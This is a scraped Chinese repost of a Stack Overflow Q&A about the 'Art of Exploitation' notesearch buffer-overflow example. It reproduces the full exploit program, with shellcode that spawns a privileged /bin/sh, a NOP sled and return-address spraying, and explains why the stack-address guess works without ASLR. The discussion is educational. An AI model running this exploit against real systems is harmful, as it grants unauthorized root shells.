gpt4 book ai didi

security - 来自 Art of Exploitation 书籍的缓冲区溢出示例

转载 作者:行者123 更新时间:2023-12-04 06:45:09 28 4
gpt4 key购买 nike

我正在阅读这本书 Art of Exploitation,这是一本好书,我从exploit_notesearch.c 文件中看到了那个例子。

简要作者尝试从notesearch.c溢出程序

int main(int argc, char *argv[]) {
int userid, printing=1, fd;
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]);
else // otherwise,
searchstring[0] = 0;

main 函数的参数被复制到 searchstring 数组中,如果参数大于 100 字节,它将溢出 main 函数的返回地址。

作者在exploit_notesearch.c中准备shellcode,调用有漏洞的notesearch.c
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {

unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;

command = (char *) malloc(200);
bzero(command, 200);

strcpy(command, "./notesearch \'");
buffer = command + strlen(command);

ret = (unsigned int) &i - offset; // Set return address

for(i=0; i < 160; i+=4) // Fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

strcat(command, "\'");

system(command); //run exploit
}

您可以看到 shellcode 与 NOP sled 和返回地址组合在一起,该地址应该指向该 NOP sled。作者以局部变量 i 的地址为引用点,减去 270 个字节,从而试图找出 NOP 雪橇的大致位置。

据我所知,作者假设来自易受攻击的 notesearch.c 的主函数的堆栈帧将与来自exploit_notesearch.c 的主函数的堆栈帧在同一堆栈段中。我之所以这样认为,是因为只有这样,我才能使用局部变量的地址进行这种操作。

但是,作者像这样 system(command) 一样,在 system() 的帮助下调用了有漏洞的 notesearch.c。我的观点是,内部某个地方的这个函数 system() 使用 fork() 来生成子进程,然后使用 exec() 函数来更改进程的图像。但是,如果图像被更改,则意味着堆栈段将是新的,并且所有那些在exploit_notesearch.c 中的main 函数中对局部变量i 的地址进行的操作都将无用,但不知何故,这个exploit 有效,这让我感到完全困惑。

最佳答案

作者只是假设 C 编译器会将这两个程序的堆栈放置在相同(或非常相似)的虚拟地址上,并且操作系统不会执行 address randomization (ASLR) .这意味着两个主要功能的堆栈帧将大致位于同一位置,从而启用此漏洞利用。

正如您可以想象的那样,这不是一种非常强大的利用方式(它可能会在大多数现代 64 位系统上失败)。更强大的漏洞可以使用 return oriented programming 的形式或者可以尝试利用现有的 char *argv指向相关堆栈帧的指针。

关于security - 来自 Art of Exploitation 书籍的缓冲区溢出示例,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/8696517/

28 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com